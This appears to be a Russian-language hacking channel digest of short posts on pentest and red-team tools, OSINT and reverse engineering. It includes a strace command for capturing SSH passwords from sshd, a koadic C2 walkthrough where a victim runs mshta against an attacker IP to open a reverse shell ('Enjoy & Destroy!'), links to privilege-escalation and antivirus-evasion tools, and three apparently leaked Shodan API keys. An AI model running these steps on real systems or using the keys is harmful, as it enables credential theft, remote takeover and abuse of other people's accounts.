Artfuscator
Лучший подход к психологической войне против reverse-инженеров.
Звучит конечно жирно,))
downLoad

Получаем пароль от SSH в открытом виде
*
1. получаем точный идентификатор sshd
pgrep -l sshd
2. Отслеживаем системные вызовы
strace -f -p <ssh_PID> -e trace=write -o capture


#ssh #sniff #password

🔥Инструмент для повышения привилегий по Win

For Windows 10 - 11 Windows Server 2012 - 2022

https://github.com/BeichenDream/PrintNotifyPotato

#LPE #win #patato #privesc

🔥Инструмент, который может попытаться найти IP, скрытый за CloudFlare

https://github.com/zidansec/CloudPeler
#osint #cloudflare #reverseproxy #ip #recon

EDR и антивирусы научились удалять системные файлы и драйверы

https://www.securitylab.ru/news/535225.php

🔥PE & Shellcode Cryptor

https://github.com/frkngksl/Shoggoth

#crypto #cryptor #evasion #bypass #av #edr #redteam

🔥Regex fuzzer

REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations in web applications

https://github.com/0xacb/recollapse

#regex #fuzz #fuzzer #tool #bypass #waf

Shodan API Keys ( paid plans ) 185

https://api.shodan.io/api-info?key={API}

cvMrPhi9VvUYe0HsD7dHKXAojghAjsmT - plus
TnzrcytxidVqp6Z38iH3xnmu77tjt6qm - dev
gAkg718JvQD1mtWze1vqrEH3l1gcHejp - dev

🔥NTLM scan

Сканит эндпоинт в поисках NTLM

https://github.com/nyxgeek/ntlmscan

#scan #ntlm #tool #privesc

#windows

Полезные тулзы во время пентеста Active Directory

Список самый простой, но интересный:

🔘 Impacket - набор для работы с сетевыми протоколами в инфраструктуре AD
🔘 Bloodhound - сбор информации об инфраструктуре AD
🔘 PowerSploit - модифицирует и подготавливает скрипты для выполнения кода на машине жертвы.
🔘 Neo4j - помогает структурировать данные
🔘 Mimikatz - позволяет просматривать и сохранять учетные данные
🔘 Evil-WinRM - WinRM Shell
🔘 Kerbrute - можно сделать User Enumeration
🔘 Responder - можно сделать SMB-Relay

🔥Небольшая шпаргалка по VT

#ti #threatint #vti #virustotal #cheatsheet

🔥List of plugins for IDA

https://github.com/vmallet/ida-plugins

#reverse #ida #plugin

🔥Writing a game trainer for game

#reverse #game #injector #trainer

🔥Remotely Control Any PC With koadic freamework!

https://www.youtube.com/watch?v=UImsfTpYjvU&ab_channel=LoiLiangYang

#c2 #postexploitation #reverseshell #lolbas #tools #pentest #redteam

kali$ git clone https://github.com/zerosum0x0/koadic.git

Run koadic

kali$ use stager/js/mshta

Fill stager option like in metasploit via SET

kali$ run

windows> mshta http://192.168.1.3:1234/BFIER

Wow! You've got a reverse shell!

kali$ zombies

kali$ cmdhell 0

Enjoy & Destroy!

#c2 #postexploitation #reverseshell #lolbas #tools #pentest #redteam

🔥Malpedia

Этот инструмент позволяет получить информацию о вредоносном ПО или об APT группировке, а также найти упоминания в различных источниках. Обычно в этих источниках публикуются IOC\IOA, которые могут помочь прокачать правила корреляции в SOC.

https://malpedia.caad.fkie.fraunhofer.de/

#feeds #ioc #ioa #apt #malware #soc

​​OSINT-разведчик вычислил ангары с новым сверхсекретным американским бомбандировщиком по звездам😅

☝🏻Помните недавний пост о самолете-невидимке ВВС США под кодовым названием B-21?

🔻OSINT-разведчик под ником Джон Мак Элхон в своем твиттер отметил, что фотография нового самолета-невидимки ВВС США, сделанная ночью, на фоне звезд. Мы можем использовать их, чтобы найти точное местоположение.

Сайт Astrometry.net позволит нам загрузить фотографию звездного неба с фото и нарисовать соответствующие созвездия.

Это также дает нам кучу файлов звездных карт, которые мы можем использовать позже.😊

На исходном веб-сайте изображения B-21 у нас есть некоторые метаданные, такие как дата съемки.

Они были удалены с тех пор, как были опубликованы посты в твиттер, но архив Waybackmachine, все еще позволяет их получить.😅

Импортируя нашу карту звездного неба в Stellarium и добавив туда дату фотографии, мы можем получить визуализацию, которая очень хорошо совпадет с нашим исходным изображением звездного неба.

Исходя из этого и совместив углы созвездия с горизонтом, мы можем оценить время, когда была сделана фотография - 1:30 ночи

1:30 утра — прекрасное время, чтобы выкатить самолет-невидимку из его ангара, когда количество спутников для съемки над США минимально.😉

Мы знаем, что угол между северной звездой и горизонтом даст нам приблизительную широту того места, где стоит наблюдатель.

Предположим, что это место находится где-то в пределах США, поэтому мы можем провести линию по широте 34 градуса через всю страну.

Баз ВВС США куча по всей стране, но не многие пересекают эту линию😄

Исторически сложилось так, что большинство самолетов-невидимок в США строятся в Калифорнии, и мы знаем, что этот самолет построен компанией Northrop Grumman, которая также в основном разрабатывает свои самолеты там.

Сужая наш поиск до Калифорнии, мы находим только одну базу, которая пересекается с линией — авиабаза Эдвардс.😊

У Northrop Grumman не так много объектов для разработки в Эдвардсе, но они есть в 30 милях к югу в региональном аэропорту Палмдейл. Там же разрабатывали самолет В-2. Один виден из представления Google Map

Теперь мы знаем, что это изображение B-21 компании Northrop Grumman, сделанное примерно в 1:30 ночи 29 ноября 2022 года на заводе ВВС 42 (34,6399, -118,0744) — теперь все эти данные общедоступны😎

🔥GEOINT Mindmap

#osint #geoint #mindmap #recon